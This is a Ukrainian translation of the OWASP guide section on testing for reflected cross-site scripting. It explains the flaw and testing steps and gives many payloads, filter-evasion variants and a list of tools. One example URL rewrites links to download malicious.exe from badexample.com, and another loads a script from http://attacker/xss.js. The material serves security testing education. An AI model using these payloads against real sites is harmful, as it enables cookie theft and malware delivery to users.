4.1 Testing for Reflected XSS
Суть уразливості:
Відбиті міжсайтові сценарії (XSS) виникають, коли зловмисник впроваджує виконуваний код браузера в один із HTTP-відповідей. Впроваджена атака не зберігається у самому додатку; тобто атака не є постійною і впливає тільки на користувачів, які відкривають зловмисно створене посилання або сторонню веб-сторінку. Рядок атаки включається як частина створених параметрів URI або HTTP, неправильно обробляється програмою та повертається жертві.
Відображені XSS - найчастіший тип XSS-атак, що зустрічаються в дикій природі веб-додатків. Відбиті атаки XSS також відомі як непостійні атаки XSS, і оскільки корисне навантаження атаки доставляється та виконується за допомогою одного запиту та відповіді, вони також називаються XSS першого порядку або типу 1.
Коли веб-додаток вразливий для атак такого типу, він передає неперевірений введення користувача, відправлений через запити, назад клієнту. Звичайний спосіб атаки включає етап розробки, на якому зловмисник створює і перевіряє порушуючий URI, етап соціальної інженерії, на якому він переконує своїх жертв завантажити цей URI у свої браузери, і в кінцевому підсумку виконати порушуючий код, використовуючи браузер жертви.
Зазвичай код зловмисника написаний мовою Javascript, але також використовуються інші мови сценаріїв, наприклад ActionScript і VBScript. Зловмисники зазвичай використовують ці вразливості для встановлення реєстраторів ключів, крадіжки cookie-файлів жертви, крадіжки буфера обміну та зміни вмісту сторінки (наприклад, посилання для скачування).
Однією з основних труднощів у запобіганні вразливості XSS є правильне кодування символів. У деяких випадках веб-сервер або веб-додаток не можуть фільтрувати деякі кодування символів, тому, наприклад, веб-додаток може відфільтровувати «script» , але не може фільтрувати %3cscript%3e, який просто включає інше кодування тегів.
Як протестувати
Тест методом чорної скриньки включатиме як мінімум три етапи: 1. Визначити вхідні вектори. Для кожної веб-сторінки тестувальник повинен визначити всі користувацькі змінні веб-застосунки та способи їх введення. Це включає в себе приховані або неочевидні вхідні дані, такі як параметри HTTP, дані POST, приховані значення полів форми і зумовлені значення радіозв'язку або вибору. Зазвичай для перегляду цих прихованих змінних використовуються HTML-редактори в браузері або веб-проксі.
2. Проаналізуйте кожен вхідний вектор виявлення потенційних вразливостей. Щоб виявити вразливість XSS, тестер зазвичай використовує спеціально створені вхідні дані з кожним вектором. Такі вхідні дані зазвичай нешкідливі, але викликають відгуки від веб-браузера, які виявляють уразливість. Дані тестування можуть бути отримані за допомогою фазера веб-застосунку, автоматично заданого списку відомих рядків атаки або вручну. Привір “>«script»alert(document.cookie)«/script»: Повний список можливих тестових рядків див. у шпаргалці XSS Filter Evasion.
3. Для кожного тестового введення, зробленого на попередньому етапі, тестувальник аналізує результат і визначає, чи він представляє вразливість, що реально впливає на безпеку веб-додатку. Це вимагає вивчення отриманої веб-сторінки HTML та пошуку тестового введення. Після виявлення тестер ідентифікує будь-які спеціальні символи, які були належним чином закодовані, замінені або відфільтровані. Набір вразливих нефільтрованих спеціальних символів залежатиме від контексту цього розділу HTML.
В ідеалі, всі спеціальні символи HTML повинні бути замінені об'єктами HTML. Ключові сутності HTML для ідентифікації:
> (greater than)
< (less than)
& (ampersand)
' (apostrophe or single quote)
" (double quote)
Повний перелік об'єктів визначається специфікаціями HTML та XML. У Вікіпедії є повне посилання
У контексті дії HTML або JavaScript потрібно буде екранувати, закодувати, замінити або відфільтрувати інший набір спеціальних символів. Ці символи включають:
n (new line)
r (carriage return)
' (apostrophe or single quote)
" (double quote)
(backslash)
uXXXX (unicode values)
Для отримання більш повної інформації див. Посібник з JavaScript у Mozilla
Приклад 1
Наприклад, розглянемо сайт із вітальним повідомленням «Welcome %username%» та посиланням для скачування. Тестер повинен підозрювати, що кожна точка введення даних може призвести до атаки XSS. Щоб проаналізувати його, тестувальник повинен погратися з зміною користувача і спробує викликати вразливість.
Давайте спробуємо перейти за наступним посиланням і подивитися, що вийде: http://example.com/index.php?user=«script»alert(123)«/script»
Якщо очищення не застосовується, це призведе до наступного спливаючого вікна: Це вказує на наявність уразливості XSS і, мабуть, тестувальник може виконати код на свій вибір у браузері, якщо клацне посилання тестера.
Приклад 2 Давайте спробуємо інший шматок коду (посилання): http://example.com/index.php?user=«script»Ewindow.onload = function() {var AllLinks=document.getElementsByTagName("a"); AllLinks[0].href = "http://badexample.com/malicious.exe"; }«/script»
Це призводить до наступної поведінки: Це змусить користувача, клацнувши на посилання, наданому тестером, завантажити файл malware.exe з сайту, який він контролює
Обходи у фільтрації
XSS Відбиті атаки міжсайтових сценаріїв запобігаються, оскільки веб-додаток дезінфікує введення, брандмауер веб-додатків блокує шкідливе введення або фіксується за допомогою механізмів, вбудованих у сучасні веб-браузери. Тому тестеру потрібно перевірити вразливості, припускаючи, що веб-браузери не запобігають атакі. Браузер може застаріти або мати відключені вбудовані функції безпеки. Аналогічно, брандмауери веб-застосунків не гарантовано розпізнають нові, невідомі атаки. Зловмисник може створити рядок атаки, який не розпізнається брандмауером веб-програми.
Таким чином, велика частина запобігання XSS повинна залежати від очищення веб-програми від ненадійного введення користувача. Розробникам є кілька механізмів, таких як повернення помилки, видалення, кодування або заміна неправильного введення. Засоби, за допомогою яких програма виявляє та виправляє неправильне введення, є ще одним основним недоліком у запобіганні XSS. У чорний список можуть входити не всі можливі рядки атаки, білий список може бути надмірно вирішальним, очищення може бути невдалим або тип введення може бути невірно довіреним і залишатися неанімованим. Все це дозволяє зловмисникам оминути фільтри XSS.
Приклад 3:
Значення атрибута тега Оскільки ці фільтри ґрунтуються на чорному списку, вони не можуть блокувати всі типи виразів. Фактично, є випадки, коли експлойт XSS може бути виконаний без використання тегів
«input type="text" name="state" value="INPUT_FROM_USER"»
Потім зловмисник може надіслати наступний код:
" onfocus="alert(document.cookie)
Приклад 4:
Інший синтаксис або кодування У деяких випадках можливо, що фільтри, що базуються на сигнатурах, можуть бути просто переможені, приховуючи атаку. Як правило, ви можете зробити це шляхом вставки несподіваних змін у синтаксис або кінець. Ці варіанти допускаються браузерами як дійсний HTML при поверненні коду, і все ж таки вони можуть також бути прийняті фільтром.
Наступні кілька прикладів:
">«script»alert(document.cookie)«/script»
">«ScRiPt»alert(document.cookie)«/ScRiPt»
"%3cscript%3ealert(document.cookie)%3c/script%3e
Приклад 5: Обхід нерекурсивної фільтрації
Іноді санітарна обробка застосовується лише один раз, і вона не виконується рекурсивно. У цьому випадку зловмисник може обійти фільтр, відправивши рядок, що містить кілька спроб, наприклад:
«scr«script»ipt»alert(document.cookie)«/script»
Приклад 6: Увімкнення зовнішнього скрипту
Тепер припустимо, що розробники цільового сайту впровадили наступний код захисту введення від включення зовнішнього скрипта:
«? $re = "/«script[^>]+src/i"; if (preg_match($re, $_GET['var'])) { echo "Filtered"; return; } echo "Welcome ".$_GET['var']." !"; ?>
У цьому сценарії є регулярне вираз, що перевіряє, чи вставлено «script [що-небудь, окрім символа: '>'] src. Це корисно для фільтрації виразів типу
«script src="http://attacker/xss.js">«/script»
яка є звичайною атакою. Але в цьому випадку можна обійти санітарну обробку, використовуючи символ «>» в атрибуті між script та src, наприклад:
http://example/?var=«SCRIPT»"%20SRC="http://attacker/xss.js">«/SCRIPT»
Це дозволить використовувати відображену вразливість міжсайтового скриптингу, показану раніше, при виконанні коду javascript, що зберігається на веб-сервері зловмисника, начебто він виходив з веб-сайту жертви, http://example/.
Приклад 7. Забруднення параметрів
HTTP (HPP) Ще один метод обходу фільтрів – забруднення параметрів HTTP. Цей метод був вперше представлений Стефано ді Паола та Лукой Кареттоні у 2009 році на конференції OWASP у Польщі. Див. Тестування на забруднення параметрів HTTP для отримання додаткової інформації. Ця техніка ухилення полягає у поділі вектора атаки між кількома параметрами з однаковими іменами. Маніпулювання значенням кожного параметра залежить від того, як кожна веб-технологія виконує синтаксичний аналіз цих параметрів, тому такий тип ухилення не завжди можливий. Якщо середовище, що тестується, поєднує значення всіх параметрів з однаковими іменами, то зловмисник може використовувати цей метод для обходу механізмів безпеки на основі шаблонів. Регулярна атака:
http://example/page.php?param=«script»[...]«/script»
Атака з використанням HPP:
http://example/page.php?param=«script¶m=»[...]«/¶m=script»
Tools
• OWASP CAL9000 – це набір інструментів тестування безпеки веб-додатків, які доповнюють набір функцій сучасних веб-проксі та автоматичних сканерів.
• PHP Charset Encoder (PCE) - Цей інструмент допоможе вам кодувати довільні тексти із 65 видів кодувань. Також надаються деякі функції кодування, які представлені в JavaScript.
• HackVertor - Він забезпечує кілька десятків гнучкого кодування для розширених атак на рядки.
• XSS-Proxy - це передовий інструмент атаки між сайтами (XSS).
• ratproxy - Напівавтоматичний, в основному пасивний інструмент аудиту безпеки веб-додатків, оптимізований для точного та чутливого виявлення та автоматичного анотації потенційних проблем та шаблонів проектування, пов'язаних з безпекою, на основі спостереження за існуючим ініційованим користувачем трафіком у складних середовищах Web 2.
• Burp Proxy – це інтерактивний проксі-сервер HTTP/S для атаки та тестування веб-додатків.
• OWASP Zed Attack Proxy (ZAP) – це простий у використанні інтегрований інструмент для тестування на проникнення для пошуку вразливостей у веб-додатках. Він призначений для використання людьми з широким спектром досвіду в галузі безпеки і тому ідеально підходить для розробників та функціональних тестерів, які вперше знайомі з тестуванням на проникнення. ZAP надає автоматичні сканери, а також набір інструментів, які дозволяють вручну знаходити вразливості.
